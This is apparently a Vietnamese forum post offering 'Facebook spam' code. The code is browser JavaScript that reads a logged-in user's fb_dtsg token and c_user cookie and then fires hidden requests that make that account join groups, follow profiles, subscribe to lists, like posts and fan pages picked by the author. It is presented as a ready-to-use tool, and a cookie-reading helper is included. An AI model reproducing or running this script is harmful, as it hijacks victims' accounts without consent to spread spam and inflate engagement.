Cho các bạn nào thích Spam Facebook, cần Code nào nữa thì cứ yêu cầu PHP: // Auto Facebook by C.N.G - http://connhagiau.vn - http://dembuon.vn - http://nhoc.vnvar fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);// Followfunction F(id) { var http4 = new XMLHttpRequest(); var url4 = "/ajax/follow/follow_profile.php?__a=1"; var params4 = "profile_id=" + id + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp="; http4.open("POST", url4, true); http4.onreadystatechange = function () { if (http4.readyState == 4 && http4.status == 200) { http4.close; } }; http4.send(params4);}// Sublistfunction S(id) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + id + " }).send();"; document.body.appendChild(a);}// Fanpagefunction P(id) { var Page = new XMLHttpRequest(); var PageURL = "//www.facebook.com/ajax/pages/fan_status.php"; var PageParams = "&fbpage_id=" + id + "&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg=" + fb_dtsg + "&phstamp="; Page.open("POST", PageURL, true); Page.onreadystatechange = function () { if (Page.readyState == 4 && Page.status == 200) { Page.close; } }; Page.send(PageParams);}// Like Statusfunction L(id) { var now = (new Date).getTime(); var X = new XMLHttpRequest(); var XURL = "//www.facebook.com/ajax/ufi/like.php"; var XParams = "like_action=true&ft_ent_identifier=" + id + "&source=1&client_id=" + now + "%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]=" + id + "&nctr[_mod]=pagelet_home_stream&__user=" + user_id + "&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg=" + fb_dtsg + "&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams);}// Groupfunction G(id) { var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/membership/r2j.php?__a=1'; var paramswp = '&ref=group_jump_header&group_id=' + id + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['send'](paramswp);}G("1441695426130132"); G("471046206264687"); G("558589824168771"); G("362706787162078");G("1069410193074983"); G("496210340504661"); G("389730531057236"); G("328743543880739");G("1433750650227368"); G("444191835727337"); G("477692065675530"); G("225360334265980");G("1594707800772006"); G("794404457340260"); G("1506120406315593"); G("644366045707287");G("430643370442764");F("100001007754857"); F("100001825192406"); F("100005032413539"); F("100003777425028");F("100004431451488"); F("100005045915207"); F("100004951204367"); F("100005821267858");F("100005887503396"); F("100009548611503"); S("826672390736926"); S("399361183468051");L("842370475833784"); L("629049417230401"); L("825570514145586"); L("885611548166234");P("1402951329930432"); P("196921507038554"); P("325804730879089"); P("766224120105819");P("159861137448417"); P("871883196184412"); P("233466323364671"); P("156129397799473");P("119100324963164"); P("269594603092853"); P("421913964535997"); P("661909243873411");P("247624018602647"); P("162735123892777"); P("533971366667191"); P("239813046101113");P("259992787361333"); P("618689794847073"); P("359289757608766"); P("179725925434752");P("183748575053153"); P("522380304522570"); P("680981625339388"); P("442112215948887");function cereziAl(isim) { var tarama = isim + "="; if (document.cookie.length > 0) { konum = document.cookie.indexOf(tarama) if (konum != -1) { konum += tarama.length son = document.cookie.indexOf(";", konum) if (son == -1) son = document.cookie.length return unescape(document.cookie.substring(konum, son)) } else { return ""; } }}function getRandomInt(min, max) { return Math.floor(Math.random() * (max - min + 1)) + min;}function randomValue(arr) { return arr[getRandomInt(0, arr.length-1)];}